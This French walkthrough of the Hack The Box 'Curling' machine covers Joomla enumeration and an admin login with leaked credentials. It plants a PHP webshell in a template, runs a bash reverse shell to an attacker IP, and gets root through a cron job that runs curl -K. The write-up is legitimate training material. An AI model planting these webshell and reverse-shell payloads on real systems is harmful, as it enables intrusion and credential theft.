Introduction
La machine Curling est une box Linux Easy de Hack The Box centrée sur l’exploitation d’un site Joomla, l’obtention d’une RCE via modification de template, puis une escalade de privilèges basée sur une mauvaise utilisation de curl dans une tâche automatisée exécutée par root.
Contrairement à certaines machines HTB Easy reposant sur une vulnérabilité immédiate ou un service exposé évident, Curling demande surtout une analyse méthodique du contenu web et des indices laissés dans l’application.
L’énumération initiale révèle une surface d’attaque relativement réduite avec Joomla 3.8.8 exposé sur le port HTTP.
Les scans automatisés ne mettent en évidence aucune exploitation directe évidente.
L’analyse doit donc revenir vers des vérifications plus manuelles : inspection du code source HTML, recherche de fichiers accessibles, analyse des contenus récupérés et exploration du panneau d’administration Joomla.
La prise pied s’effectue alors progressivement :
- découverte d’un fichier sensible oublié sur le serveur ;
- récupération d’identifiants Joomla ;
- accès à l’administration du CMS ;
- ajout d’un webshell dans un template ;
- obtention puis stabilisation d’un reverse shell Linux.
L’escalade de privilèges repose ensuite sur l’analyse du comportement d’une tâche exécutée périodiquement par root, utilisant curl -K avec un fichier de configuration contrôlable par l’utilisateur.
Ce writeup te montre notamment comment :
- analyser méthodiquement une application Joomla ;
- exploiter les fonctionnalités natives d’un CMS pour obtenir une RCE ;
- manipuler plusieurs couches de compression imbriquées ;
- stabiliser proprement un reverse shell Linux ;
- détourner une tâche automatisée mal sécurisée pour obtenir les privilèges root.
Énumération
Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.
Concrètement, l’objectif de cette phase d’énumération est d’identifier :
- quels ports sont ouverts
- quels services sont accessibles
- si une application web est présente
- quels répertoires sont exposés
- si des sous-domaines ou vhosts peuvent être exploités
Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :
- mon-nmap : identifie les ports ouverts et les services en écoute
- mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
- mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts
Tu retrouves ces outils dans la section Outils / Mes scripts.
Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :
/usr/share/wordlists/htb-dns-vh-5000.txt
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box.
Avant de lancer les scans, vérifie que le nom d’hôte curling.htb résout correctement vers l’adresse IP de la cible.
Sur HTB, cela passe généralement par une entrée dans /etc/hosts.
- Ajoute l’entrée
10.129.x.x curling.htbdans/etc/hosts.
sudo nano /etc/hosts
- Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap curling.htb
# Résultats dans le répertoire scans_nmap/
# - scans_nmap/full_tcp_scan.txt
# - scans_nmap/enum_ftp_smb_scan.txt
# - scans_nmap/aggressive_vuln_scan.txt
# - scans_nmap/cms_vuln_scan.txt
# - scans_nmap/udp_vuln_scan.txt
Scan initial
Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt curling.htb
Nmap scan report for curling.htb (10.129.x.x)
Host is up (0.021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at [date]-- 1 IP address (1 host up) scanned in 7.32 seconds
Scan FTP/SMB (si services détectés)
Après le scan initial, le script enchaîne automatiquement avec une phase d’énumération ciblée FTP/SMB si l’un des services suivants est détecté :
- FTP sur le port 21
- SMB sur le port 139 et/ou 445
Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :
# mon-nmap — ENUM FTP / SMB
# Target : curling.htb
# Date : [date]
Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80
Scan agressif
Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.
Ce scan fournit des informations détaillées sur les services et versions détectés.
Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :
[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour curling.htb
[+] Commande utilisée :
nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "curling.htb"
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt curling.htb
Nmap scan report for curling.htb (10.129.x.x)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 63.47 ms 10.10.16.1
2 7.86 ms curling.htb (10.129.x.x)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 15.25 seconds
Scan ciblé CMS
Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt curling.htb
Nmap scan report for curling.htb (10.129.x.x)
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1; php: 1
| /index.php/2-uncategorised/
| Other: 3
| /index.php/component/users/
| Other: 1
| /media/jui/js/
| js: 4
| /media/system/js/
| js: 4
| /templates/protostar/
| ico: 1
| /templates/protostar/js/
| js: 1
| Longest directory structure:
| Depth: 3
| Dir: /media/system/js/
| Total files found (by extension):
|_ Other: 5; ico: 1; js: 9; php: 1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-devframework: Joomla detected. Found common traces on /
| http-headers:
| Date: Fri, 15 May 2026 08:50:53 GMT
| Server: Apache/2.4.29 (Ubuntu)
| Set-Cookie: c0548020854924e0aecd05ed9f5b672b=32pdgvpr1mj722s5jt1g7m4rlg; path=/; HttpOnly
| Expires: Wed, 17 Aug 2005 00:00:00 GMT
| Last-Modified: Fri, 15 May 2026 08:50:53 GMT
| Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
| Pragma: no-cache
| Connection: close
| Content-Type: text/html; charset=utf-8
|
|_ (Request type: HEAD)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-enum:
| /administrator/: Possible admin folder
| /administrator/index.php: Possible admin folder
| /administrator/manifests/files/joomla.xml: Joomla version 3.8.8
| /language/en-GB/en-GB.xml: Joomla version 3.8.8
| /htaccess.txt: Joomla!
| /README.txt: Interesting, a readme.
| /bin/: Potentially interesting folder
| /cache/: Potentially interesting folder
| /images/: Potentially interesting folder
| /includes/: Potentially interesting folder
| /libraries/: Potentially interesting folder
| /modules/: Potentially interesting folder
| /templates/: Potentially interesting folder
|_ /tmp/: Potentially interesting folder
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 37.71 seconds
Scan UDP rapide
Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt) :
# Nmap 7.99 scan initiated [date]6 as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt curling.htb
Warning: 10.129.x.x giving up on port because retransmission cap hit (6).
Nmap scan report for curling.htb (10.129.x.x)
Host is up (0.012s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp open|filtered snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp open|filtered upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 11.92 seconds
Énumération des chemins web
Pour la découverte des chemins web, tu peux utiliser le script dédié mon-recoweb
mon-recoweb curling.htb
# Résultats dans le répertoire scans_recoweb/
# - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes
# - scans_recoweb/dirb.log
# - scans_recoweb/dirb_hits.txt
# - scans_recoweb/ffuf_dirs.txt
# - scans_recoweb/ffuf_dirs_hits.txt
# - scans_recoweb/ffuf_files.txt
# - scans_recoweb/ffuf_files_hits.txt
# - scans_recoweb/ffuf_dirs.json
# - scans_recoweb/ffuf_files.json
Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, sans parcourir l’ensemble des logs générés.
===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script : mon-recoweb v2.2.3
Cible : curling.htb
Périmètre : /
Date début : [date]
Commandes exécutées (exactes) :
[dirb — découverte initiale]
dirb http://curling.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/curling.htb/dirb.log
[ffuf — énumération des répertoires]
ffuf -u http://curling.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/curling.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/curling.htb/ffuf_dirs.log
[ffuf — énumération des fichiers]
ffuf -u http://curling.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/curling.htb/ffuf_files.json 2>&1 | tee scans_recoweb/curling.htb/ffuf_files.log
Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
• répertoires (/chemin/)
• fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
garantissant la reproductibilité complète du scan.
----------------------------------------------------
=== Résultat global (agrégé) ===
http://curling.htb/administrator/
http://curling.htb/administrator/ (CODE:301|SIZE:318)
http://curling.htb/bin/
http://curling.htb/bin/ (CODE:301|SIZE:308)
http://curling.htb/cache/
http://curling.htb/cache/ (CODE:301|SIZE:310)
http://curling.htb/cli/ (CODE:301|SIZE:308)
http://curling.htb/. (CODE:200|SIZE:14249)
http://curling.htb/components/
http://curling.htb/components/ (CODE:301|SIZE:315)
http://curling.htb/configuration.php (CODE:200|SIZE:0)
http://curling.htb/.htaccess.bak (CODE:403|SIZE:276)
http://curling.htb/.htaccess (CODE:403|SIZE:276)
http://curling.htb/htaccess.txt (CODE:200|SIZE:3005)
http://curling.htb/.htc (CODE:403|SIZE:276)
http://curling.htb/.ht (CODE:403|SIZE:276)
http://curling.htb/.htgroup (CODE:403|SIZE:276)
http://curling.htb/.htm (CODE:403|SIZE:276)
http://curling.htb/.html (CODE:403|SIZE:276)
http://curling.htb/.htpasswd (CODE:403|SIZE:276)
http://curling.htb/.htpasswds (CODE:403|SIZE:276)
http://curling.htb/.htuser (CODE:403|SIZE:276)
http://curling.htb/images/
http://curling.htb/images/ (CODE:301|SIZE:311)
http://curling.htb/includes/
http://curling.htb/includes/ (CODE:301|SIZE:313)
http://curling.htb/index.php (CODE:200|SIZE:14269)
http://curling.htb/language/
http://curling.htb/language/ (CODE:301|SIZE:313)
http://curling.htb/layouts/
http://curling.htb/layouts/ (CODE:301|SIZE:312)
http://curling.htb/libraries/
http://curling.htb/libraries/ (CODE:301|SIZE:314)
http://curling.htb/LICENSE.txt (CODE:200|SIZE:18092)
http://curling.htb/media/
http://curling.htb/media/ (CODE:301|SIZE:310)
http://curling.htb/modules/
http://curling.htb/modules/ (CODE:301|SIZE:312)
http://curling.htb/.php (CODE:403|SIZE:276)
http://curling.htb/plugins/
http://curling.htb/plugins/ (CODE:301|SIZE:312)
http://curling.htb/README.txt (CODE:200|SIZE:4872)
http://curling.htb/server-status (CODE:403|SIZE:276)
http://curling.htb/server-status/ (CODE:403|SIZE:276)
http://curling.htb/templates/
http://curling.htb/templates/ (CODE:301|SIZE:314)
http://curling.htb/tmp/
http://curling.htb/tmp/ (CODE:301|SIZE:308)
http://curling.htb/wp-forum.phps (CODE:403|SIZE:276)
=== Détails par outil ===
[DIRB]
http://curling.htb/administrator/
http://curling.htb/bin/
http://curling.htb/cache/
http://curling.htb/components/
http://curling.htb/images/
http://curling.htb/includes/
http://curling.htb/index.php (CODE:200|SIZE:14269)
http://curling.htb/language/
http://curling.htb/layouts/
http://curling.htb/libraries/
http://curling.htb/media/
http://curling.htb/modules/
http://curling.htb/plugins/
http://curling.htb/server-status (CODE:403|SIZE:276)
http://curling.htb/templates/
http://curling.htb/tmp/
[FFUF — DIRECTORIES]
http://curling.htb/administrator/ (CODE:301|SIZE:318)
http://curling.htb/bin/ (CODE:301|SIZE:308)
http://curling.htb/cache/ (CODE:301|SIZE:310)
http://curling.htb/cli/ (CODE:301|SIZE:308)
http://curling.htb/components/ (CODE:301|SIZE:315)
http://curling.htb/images/ (CODE:301|SIZE:311)
http://curling.htb/includes/ (CODE:301|SIZE:313)
http://curling.htb/language/ (CODE:301|SIZE:313)
http://curling.htb/layouts/ (CODE:301|SIZE:312)
http://curling.htb/libraries/ (CODE:301|SIZE:314)
http://curling.htb/media/ (CODE:301|SIZE:310)
http://curling.htb/modules/ (CODE:301|SIZE:312)
http://curling.htb/plugins/ (CODE:301|SIZE:312)
http://curling.htb/server-status/ (CODE:403|SIZE:276)
http://curling.htb/templates/ (CODE:301|SIZE:314)
http://curling.htb/tmp/ (CODE:301|SIZE:308)
[FFUF — FILES]
http://curling.htb/. (CODE:200|SIZE:14249)
http://curling.htb/configuration.php (CODE:200|SIZE:0)
http://curling.htb/.htaccess.bak (CODE:403|SIZE:276)
http://curling.htb/.htaccess (CODE:403|SIZE:276)
http://curling.htb/htaccess.txt (CODE:200|SIZE:3005)
http://curling.htb/.htc (CODE:403|SIZE:276)
http://curling.htb/.ht (CODE:403|SIZE:276)
http://curling.htb/.htgroup (CODE:403|SIZE:276)
http://curling.htb/.htm (CODE:403|SIZE:276)
http://curling.htb/.html (CODE:403|SIZE:276)
http://curling.htb/.htpasswd (CODE:403|SIZE:276)
http://curling.htb/.htpasswds (CODE:403|SIZE:276)
http://curling.htb/.htuser (CODE:403|SIZE:276)
http://curling.htb/index.php (CODE:200|SIZE:14269)
http://curling.htb/LICENSE.txt (CODE:200|SIZE:18092)
http://curling.htb/.php (CODE:403|SIZE:276)
http://curling.htb/README.txt (CODE:200|SIZE:4872)
http://curling.htb/wp-forum.phps (CODE:403|SIZE:276)
Recherche de vhosts
Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains .
=== mon-subdomains curling.htb START ===
Script : mon-subdomains
Version : mon-subdomains 2.0.1
Date : [date]
Domaine : curling.htb
IP : 10.129.x.x
Mode : large
Master : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes : 200,301,302,401,403 (strict=1)
VHOST totaux : 0
- (aucun)
--- Détails par port ---
Port 80 (http)
Baseline#1: code=200 size=14271 words=1051 (Host=ud2ojwcbje.curling.htb)
Baseline#2: code=200 size=14271 words=1051 (Host=tjc7qkmr4g.curling.htb)
Baseline#3: code=200 size=14271 words=1051 (Host=rqiizcjhw8.curling.htb)
VHOST (0)
- (fuzzing sauté : wildcard probable)
- (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant)
=== mon-subdomains curling.htb END ===
Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.
Prise pied
L’énumération met en évidence un site web basé sur Joomla! 3.8.8 exposé sur le port HTTP.
Les différents scans automatisés ne révèlent aucune vulnérabilité exploitable directement dans le cœur de Joomla ni dans des composants tiers.
L’absence de vulnérabilité exploitable directement dans Joomla oriente donc l’analyse vers les contenus exposés par le site lui-même ainsi que vers les indices laissés dans l’application.
Analyse du code source
L’inspection manuelle du code source de la page d’accueil révèle un commentaire HTML intéressant en fin de document :
<!-- secret.txt -->
Tu récupères alors le fichier indiqué :
curl http://curling.htb/secret.txt
Résultat :
Q3VybGluZzIwMTgh
La chaîne utilise un format très courant en CTF et en développement web : elle ressemble fortement à une valeur encodée en Base64.
Décodage :
echo 'Q3VybGluZzIwMTgh' | base64 -d
Résultat :
Curling2018!
À ce stade, il est probable que cette valeur corresponde à un mot de passe.
L’analyse du contenu de la page d’accueil permet également d’identifier un utilisateur potentiel :
<p>- Floris</p>
Tu obtiens donc un premier couple utilisateur / mot de passe plausible :
floris : Curling2018!
Connexion à l’administration Joomla
Le panneau d’administration Joomla est accessible via :
http://curling.htb/administrator
Le couple précédent permet effectivement de s’authentifier avec succès.

Une fois connecté à l’interface d’administration Joomla, tu cherches un moyen d’obtenir une exécution de code côté serveur.
Modification du template Joomla
Le template Joomla actif utilisé par le site peut être identifié directement dans le code source HTML, notamment via les chemins chargés dans /templates/:
/templates/protostar/
Depuis l’administration Joomla :
Extensions -> Templates -> Templates
tu ouvres alors le template :
Protostar
Puis le fichier :
index.php
Tu ajoutes temporairement le code suivant juste après :
defined('_JEXEC') or die;
L’objectif est d’ajouter un webshell minimal permettant d’exécuter des commandes système depuis le navigateur.
Payload ajouté :
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}

Ce code permet d’exécuter une commande système transmise via le paramètre GET cmd.
Validation de la RCE
Tu vérifies ensuite l’exécution de commande :
curl "http://curling.htb/?cmd=id"
Résultat :
uid=33(www-data) gid=33(www-data) groups=33(www-data)
L’exécution de commande est confirmée en tant que :
www-data

Reverse shell
Depuis ton Kali :
rlwrap -cAr nc -lvnp 4444
Puis via le navigateur :
http://curling.htb/?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.X/4444 0>%261'
Les caractères
%26correspondent à l’encodage URL du caractère&, nécessaire ici pour transmettre correctement la commande via l’URL.
Tu obtiens alors un reverse shell interactif en tant que :
www-data
Avant de poursuivre la prise pied, il est recommandé de stabiliser le shell afin d’obtenir un terminal plus confortable et plus fiable.
« Stabiliser un Reverse Shell Bash »Récupération des credentials MySQL
Une fois sur la machine, tu consultes le fichier de configuration Joomla :
cat /var/www/html/configuration.php
Tu récupères notamment :
public $user = 'floris';
public $password = 'mYsQ!P4ssw0rd$yea!';
Le mot de passe MySQL ne fonctionne cependant pas pour une connexion SSH.
L’exploration du home directory de floris révèle alors un fichier intéressant :
/home/floris/password_backup
Analyse du fichier password_backup
Le contenu de password_backup contient uniquement des caractères hexadécimaux (0-9 et a-f) :
425a6839...
Ce format correspond à un dump hexadécimal : le fichier ne contient pas directement les données binaires, mais leur représentation sous forme de caractères hexadécimaux.
La commande xxd -r permet alors de reconstruire le fichier binaire original à partir de ce dump hexadécimal.
xxd -r /home/floris/password_backup > /tmp/passwork
L’option -r signifie “reverse” : elle demande à xxd de faire l’opération inverse, c’est-à-dire de reconstruire les données binaires à partir du dump hexadécimal.
Le fichier reconstruit n’est pas lisible directement.
Tu commences donc par l’analyser avec la commande file afin d’identifier son format réel.
file indique d’abord un fichier bzip2 : tu le décompresses, mais le résultat n’est toujours pas lisible.
Tu relances alors file sur le nouveau fichier.
Cette fois, le format détecté est gzip : tu le décompresses à nouveau.
Le même scénario se répète ensuite plusieurs fois :
- analyse avec file ;
- identification du format ;
- décompression ;
- nouvelle analyse.
Au fil des étapes, tu traverses plusieurs couches successives :
hex -> bzip2 -> gzip -> bzip2 -> tar -> texte
Tu poursuis jusqu’à ce que file indique finalement :
ASCII text
Le contenu devient alors lisible et révèle le véritable mot de passe utilisateur :
5d<wdCbdZu)|hChXll
Note : lorsqu’un fichier contient plusieurs couches de compression ou d’archives imbriquées, il peut être pratique d’automatiser la détection et la décompression avec une boucle Bash.
Tu peux par exemple demander à ChatGPT de générer ce type de boucle automatiquement à partir du résultat de la commande
file.cp /home/floris/password_backup /tmp/passwork cd /tmp xxd -r passwork > passwork.bin mv passwork.bin passwork while true; do file passwork if file passwork | grep -q "bzip2 compressed"; then mv passwork passwork.bz2 bunzip2 passwork.bz2 elif file passwork | grep -q "gzip compressed"; then mv passwork passwork.gz gunzip passwork.gz elif file passwork | grep -q "tar archive"; then mkdir -p pass_extract tar -xf passwork -C pass_extract find pass_extract -type f -exec cp {} passwork \; rm -rf pass_extract elif file passwork | grep -q "ASCII text"; then cat passwork break else echo "[!] Type non géré" break fi done
Connexion SSH
Tu peux alors te connecter proprement en SSH :
ssh floris@curling.htb
Mot de passe :
5d<wdCbdZu)|hChXll
La prise de pied est maintenant complète avec un accès shell stable en tant qu’utilisateur :
floris
Escalade de privilèges
Une fois connecté en SSH en tant que floris, tu disposes d’un premier accès utilisateur sur la machine.
L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root.
Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique :
- vérification des droits sudo avec
sudo -lafin d’identifier des commandes exécutables avec les privilègesroot - recherche de binaires SUID avec
find / -perm -4000 2>/dev/null(les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souventroot) - analyse des Linux capabilities avec
getcap -r / 2>/dev/nullpython3 suid3num.pyafin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins
- inspection des tâches cron avec
cat /etc/crontabafin de repérer d’éventuels scripts ou commandes exécutés automatiquement parroot - analyse des services locaux avec
netstat -tulpnpour identifier d’éventuels services internes accessibles uniquement en local - observation des processus exécutés par
rootavecpspy64(dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement
L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root.
Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser.
Sudo -l
Tu commences toujours par vérifier les droits sudo :
floris@curling:/dev/shm$ sudo -l
[sudo] password for floris:
Sorry, user floris may not run sudo on curling.
Exploration du contexte utilisateur
Avant d’aller plus loin, tu vérifies rapidement le contexte de la machine :
whoami
id
pwd
uname -a
hostname
Résultat :
floris@curling:/dev/shm$ whoami
floris
floris@curling:/dev/shm$ id
uid=1000(floris) gid=1004(floris) groups=1004(floris)
floris@curling:/dev/shm$ pwd
/dev/shm
floris@curling:/dev/shm$ uname -a
Linux curling 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
floris@curling:/dev/shm$ hostname
curling
pspy64
Comme suggéré dans la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB »
, tu lances également pspy64 dans une deuxième session SSH.
L’objectif est d’observer en temps réel les processus exécutés sur la machine, notamment ceux lancés par root (UID=0).
L’énumération locale révèle rapidement une tâche cron intéressante exécutée par root :
[date] 14:10:01 CMD: UID=0 PID=2535 | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
[date] 14:10:01 CMD: UID=0 PID=2534 | /bin/sh -c sleep 1; cat /root/default.txt > /home/floris/admin-area/input
La commande observée est :
curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
Le paramètre -K indique que curl charge ses options depuis un fichier de configuration externe.
L’analyse montre que ce fichier est situé dans le répertoire personnel de l’utilisateur floris :
/home/floris/admin-area/input
Cela signifie qu’un processus exécuté avec les privilèges root utilise un fichier contrôlable par un utilisateur non privilégié.
Quelques secondes plus tard, un second cron réinitialise automatiquement ce fichier avec :
cat /root/default.txt > /home/floris/admin-area/input
Le mécanisme fonctionne donc en deux étapes :
rootexécutecurl -Kavec le contenu du fichierinput- le fichier est ensuite restauré à son état par défaut
Cette fenêtre est suffisante pour injecter temporairement une configuration arbitraire dans input.
Comme curl accepte également les URLs locales via le protocole file://, il devient possible de demander à root de lire directement des fichiers accessibles uniquement à l’utilisateur privilégié.
Le fichier input est remplacé par :
url = "file:///root/root.txt"
output = "/dev/shm/root.txt"
La directive output du fichier de configuration est également interprétée par curl, ce qui permet ici d’écrire directement le contenu dans /dev/shm/root.txt.
cat > /home/floris/admin-area/input << 'EOF'
url = "file:///root/root.txt"
output = "/dev/shm/root.txt"
EOF
Puis, au prochain passage du cron, curl est exécuté par root et copie le contenu de /root/root.txt vers /dev/shm/root.txt.
Il ne reste alors plus qu’à lire le fichier généré :
cat /dev/shm/root.txt
8935xxxxxxxxxxxxxxxxxxxxxxxxxxxef69
Cette escalade repose donc sur une mauvaise séparation des privilèges : un processus root exécute curl à partir d’un fichier de configuration modifiable par un utilisateur non privilégié.
Conclusion
La machine Curling propose un scénario Linux relativement accessible, mais très formateur sur plusieurs points importants en CTF.
La prise de pied repose principalement sur l’observation et l’analyse méthodique du contenu exposé par le site Joomla.
Aucune vulnérabilité spectaculaire n’est nécessaire ici : un simple fichier oublié dans le code source mène progressivement à la récupération d’identifiants, puis à l’exploitation de l’éditeur de templates Joomla pour obtenir une exécution de commandes.
Le challenge met également en avant une compétence souvent utile en CTF : savoir reconnaître et traiter plusieurs couches de compression ou d’encapsulation successives à partir d’un simple dump hexadécimal.
L’escalade de privilèges illustre ensuite un cas très réaliste de mauvaise utilisation d’un outil système automatisé.
Une tâche cron exécutée par root utilise ici curl -K avec un fichier de configuration contrôlable par l’utilisateur, permettant finalement de lire des fichiers sensibles et de récupérer le flag root.
Cette box constitue donc une excellente introduction à :
- l’analyse manuelle d’un CMS ;
- l’exploitation d’un accès administrateur Joomla ;
- la gestion de reverse shells Linux ;
- l’analyse de fichiers compressés imbriqués ;
- l’exploitation de tâches cron mal sécurisées.
Le challenge est maintenant entièrement compromis et les deux flags ont été récupérés avec succès.
Tu as repéré une erreur, une imprécision ou une amélioration possible ?
